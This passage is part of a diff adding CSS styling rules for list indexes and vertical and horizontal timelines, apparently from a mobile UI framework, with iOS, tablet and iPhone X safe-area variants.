.list-index.color-gray ul { + color: #8e8e93; +} +.ios .list-index.color-gray .list-index-skip-placeholder:after, +.ios .list-index.color-gray .list-index-label { + background-color: #8e8e93; +} +.ios .list-index.color-white ul { + color: #ffffff; +} +.ios .list-index.color-white .list-index-skip-placeholder:after, +.ios .list-index.color-white .list-index-label { + background-color: #ffffff; +} +.ios .list-index.color-black ul { + color: #000000; +} +.ios .list-index.color-black .list-index-skip-placeholder:after, +.ios .list-index.color-black .list-index-label { + background-color: #000000; +} +/* === Timeline === */ +.timeline { + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.block-strong .timeline { + padding: 0; + margin: 0; +} +.timeline-item { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: start; + -webkit-justify-content: flex-start; + -ms-flex-pack: start; + justify-content: flex-start; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: relative; +} +.timeline-item-date { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + width: 50px; + text-align: right; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-item-date small { + font-size: 10px; +} +.timeline-item-content { + margin: 2px; + min-width: 0; + position: relative; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; +} +.timeline-item-content p:first-child, +.timeline-item-content ul:first-child, +.timeline-item-content ol:first-child, +.timeline-item-content h1:first-child, +.timeline-item-content h2:first-child, +.timeline-item-content h3:first-child, +.timeline-item-content h4:first-child { + margin-top: 0; +} +.timeline-item-content p:last-child, +.timeline-item-content ul:last-child, +.timeline-item-content ol:last-child, +.timeline-item-content h1:last-child, +.timeline-item-content h2:last-child, +.timeline-item-content h3:last-child, +.timeline-item-content h4:last-child { + margin-bottom: 0; +} +.timeline-item-inner { + background: #fff; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-item-inner .block { + padding: 0; + color: inherit; +} +.timeline-item-inner .block-strong { + padding-left: 0; + padding-right: 0; + margin: 0; +} +.timeline-item-inner .block-strong:before { + display: none !important; +} +.timeline-item-inner .block-strong:after { + display: none !important; +} +.timeline-item-inner .list ul:before { + display: none !important; +} +.timeline-item-inner .list ul:after { + display: none !important; +} +.timeline-item-divider { + width: 1px; + position: relative; + width: 10px; + height: 10px; + background: #bbb; + border-radius: 50%; + margin-top: 3px; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; +} +.timeline-item-divider:after, +.timeline-item-divider:before { + content: ' '; + width: 1px; + height: 100vh; + position: absolute; + left: 50%; + background: inherit; + -webkit-transform: translate3d(-50%, 0, 0); + transform: translate3d(-50%, 0, 0); +} +.timeline-item-divider:after { + top: 100%; +} +.timeline-item-divider:before { + bottom: 100%; +} +.timeline-item:last-child .timeline-item-divider:after { + display: none; +} +.timeline-item:first-child .timeline-item-divider:before { + display: none; +} +.timeline-item-time { + font-size: 13px; +} +.timeline-item-time:first-child, +.timeline-item-time:last-child { + margin-top: 0; +} +.timeline-item-title + .timeline-item-time { + margin-top: 0; +} +.timeline-horizontal { + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; +} +.timeline-horizontal .timeline-item { + display: block; + width: 33.33333333vw; + margin: 0; + padding: 0; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + position: relative; + height: 100%; +} +.timeline-horizontal .timeline-item-date { + width: auto; + line-height: 34px; + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 34px; + text-align: left; +} +.timeline-horizontal .timeline-item-content { + overflow: auto; + -webkit-overflow-scrolling: touch; + margin: 0; +} +.timeline-horizontal .timeline-item-divider { + display: none; +} +.timeline-horizontal.col-100 .timeline-item { + width: 100vw; +} +.timeline-horizontal.col-95 .timeline-item { + width: 95vw; +} +.timeline-horizontal.col-90 .timeline-item { + width: 90vw; +} +.timeline-horizontal.col-85 .timeline-item { + width: 85vw; +} +.timeline-horizontal.col-80 .timeline-item { + width: 80vw; +} +.timeline-horizontal.col-75 .timeline-item { + width: 75vw; +} +.timeline-horizontal.col-70 .timeline-item { + width: 70vw; +} +.timeline-horizontal.col-66 .timeline-item { + width: 66.66666666666666vw; +} +.timeline-horizontal.col-65 .timeline-item { + width: 65vw; +} +.timeline-horizontal.col-60 .timeline-item { + width: 60vw; +} +.timeline-horizontal.col-55 .timeline-item { + width: 55vw; +} +.timeline-horizontal.col-50 .timeline-item { + width: 50vw; +} +.timeline-horizontal.col-45 .timeline-item { + width: 45vw; +} +.timeline-horizontal.col-40 .timeline-item { + width: 40vw; +} +.timeline-horizontal.col-35 .timeline-item { + width: 35vw; +} +.timeline-horizontal.col-33 .timeline-item { + width: 33.333333333333336vw; +} +.timeline-horizontal.col-30 .timeline-item { + width: 30vw; +} +.timeline-horizontal.col-25 .timeline-item { + width: 25vw; +} +.timeline-horizontal.col-20 .timeline-item { + width: 20vw; +} +.timeline-horizontal.col-15 .timeline-item { + width: 15vw; +} +.timeline-horizontal.col-10 .timeline-item { + width: 10vw; +} +.timeline-horizontal.col-5 .timeline-item { + width: 5vw; +} +@media (min-width: 768px) { + .timeline-horizontal.tablet-100 .timeline-item { + width: 100vw; + } + .timeline-horizontal.tablet-95 .timeline-item { + width: 95vw; + } + .timeline-horizontal.tablet-90 .timeline-item { + width: 90vw; + } + .timeline-horizontal.tablet-85 .timeline-item { + width: 85vw; + } + .timeline-horizontal.tablet-80 .timeline-item { + width: 80vw; + } + .timeline-horizontal.tablet-75 .timeline-item { + width: 75vw; + } + .timeline-horizontal.tablet-70 .timeline-item { + width: 70vw; + } + .timeline-horizontal.tablet-66 .timeline-item { + width: 66.66666666666666vw; + } + .timeline-horizontal.tablet-65 .timeline-item { + width: 65vw; + } + .timeline-horizontal.tablet-60 .timeline-item { + width: 60vw; + } + .timeline-horizontal.tablet-55 .timeline-item { + width: 55vw; + } + .timeline-horizontal.tablet-50 .timeline-item { + width: 50vw; + } + .timeline-horizontal.tablet-45 .timeline-item { + width: 45vw; + } + .timeline-horizontal.tablet-40 .timeline-item { + width: 40vw; + } + .timeline-horizontal.tablet-35 .timeline-item { + width: 35vw; + } + .timeline-horizontal.tablet-33 .timeline-item { + width: 33.333333333333336vw; + } + .timeline-horizontal.tablet-30 .timeline-item { + width: 30vw; + } + .timeline-horizontal.tablet-25 .timeline-item { + width: 25vw; + } + .timeline-horizontal.tablet-20 .timeline-item { + width: 20vw; + } + .timeline-horizontal.tablet-15 .timeline-item { + width: 15vw; + } + .timeline-horizontal.tablet-10 .timeline-item { + width: 10vw; + } + .timeline-horizontal.tablet-5 .timeline-item { + width: 5vw; + } +} +.timeline-horizontal .timeline-year, +.timeline-horizontal .timeline-month { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + padding-top: 24px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 100%; +} +.timeline-horizontal .timeline-year-title, +.timeline-horizontal .timeline-month-title { + position: absolute; + left: 0; + top: 0; + width: 100%; + line-height: 24px; + height: 24px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-horizontal .timeline-year-title span, +.timeline-horizontal .timeline-month-title span { + display: inline-block; + position: -webkit-sticky; + position: sticky; +} +.timeline-horizontal .timeline-year-title { + font-size: 16px; +} +.timeline-horizontal .timeline-month-title span { + margin-top: -2px; +} +/* === Timeline iOS === */ +.ios .timeline { + margin: 35px 0; + padding: 0 15px; +} +.ios .block-strong .timeline { + padding: 0; + margin: 0; +} +.ios .timeline-item { + padding: 2px 0px 15px; +} +.ios .timeline-item:last-child { + padding-bottom: 2px; +} +.ios .timeline-item-content .card, +.ios .timeline-item-content.card, +.ios .timeline-item-content .list, +.ios .timeline-item-content.list, +.ios .timeline-item-content .block, +.ios .timeline-item-content.block { + margin: 0; + width: 100%; +} +.ios .timeline-item-content .card + .card, +.ios .timeline-item-content .list + .card, +.ios .timeline-item-content .block + .card, +.ios .timeline-item-content .card + .list, +.ios .timeline-item-content .list + .list, +.ios .timeline-item-content .block + .list, +.ios .timeline-item-content .card + .block, +.ios .timeline-item-content .list + .block, +.ios .timeline-item-content .block + .block { + margin: 15px 0 0; +} +.ios .timeline-item-inner { + border-radius: 7px; + padding: 8px 15px; +} +.ios .timeline-item-inner + .timeline-item-inner { + margin-top: 15px; +} +.ios .block-strong .timeline-item-inner { + border-radius: 3px; + border: 1px solid rgba(0, 0, 0, 0.1); +} +.ios .timeline-item-divider { + margin-left: 15px; + margin-right: 15px; +} +.ios .timeline-item-time { + margin-top: 15px; + color: #6d6d72; +} +.ios .timeline-item-time:first-child, +.ios .timeline-item-time:last-child { + margin-top: 0; +} +.ios .timeline-item-title { + font-size: 17px; + font-weight: 600; +} +.ios .timeline-item-subtitle { + font-size: 15px; +} +.ios .timeline-sides .timeline-item { + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; +} +.ios .timeline-sides .timeline-item .timeline-item-date { + text-align: right; +} +.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; +} +.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: left; +} +.ios .timeline-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; +} +.ios .timeline-sides .timeline-item-left .timeline-item-date { + text-align: left; +} +.ios .timeline-sides .timeline-item-right { + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; +} +.ios .timeline-sides .timeline-item-right .timeline-item-date { + text-align: right; +} +@media (min-width: 768px) { + .ios .tablet-sides .timeline-item { + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; + } + .ios .tablet-sides .timeline-item .timeline-item-date { + text-align: right; + } + .ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; + } + .ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: left; + } + .ios .tablet-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; + } + .ios .tablet-sides .timeline-item-left .timeline-item-date { + text-align: left; + } + .ios .tablet-sides .timeline-item-right { + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; + } + .ios .tablet-sides .timeline-item-right .timeline-item-date { + text-align: right; + } +} +.ios .timeline-horizontal { + padding: 0; + margin: 0; +} +.ios .timeline-horizontal .timeline-item { + padding-top: 34px !important; + padding-bottom: 10px; +} +.ios .timeline-horizontal > .timeline-item:last-child:after, +.ios .timeline-horizontal .timeline-month:last-child .timeline-item:last-child:after { + display: none !important; +} +.ios .timeline-horizontal .timeline-item-date { + background: #f7f7f8; + padding: 0px 10px; +} +.ios .timeline-horizontal .timeline-item-content { + padding: 10px; + height: calc(100% - 10px); +} +.ios .timeline-horizontal .timeline-item-date:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item-date:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item-date:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .timeline-horizontal .timeline-month .timeline-item:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-month .timeline-item:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-month .timeline-item:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .timeline-horizontal .timeline-item:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.ios .timeline-horizontal .timeline-year:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-year:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-year:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.ios .timeline-year:last-child:after { + display: none !important; +} +.ios .timeline-year-title, +.ios .timeline-month-title { + padding: 0 10px; + background: #f7f7f8; +} +.ios .timeline-year-title span, +.ios .timeline-month-title span { + left: 10px; +} +.ios .timeline-year-title span { + margin-top: 3px; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span { + left: calc(10px + constant(safe-area-inset-left)); + left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title { + left: -44px; + right: 0; + width: auto; + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item { + overflow: visible; + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date { + width: auto; + padding-left: calc(10px + constant(safe-area-inset-left)); + padding-left: calc(10px + env(safe-area-inset-left)); + left: calc(0px - constant(safe-area-inset-left)); + left: calc(0px - env(safe-area-inset-left)); + right: 0; + } + .ios.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal) { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child { + overflow: visible; + } + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, 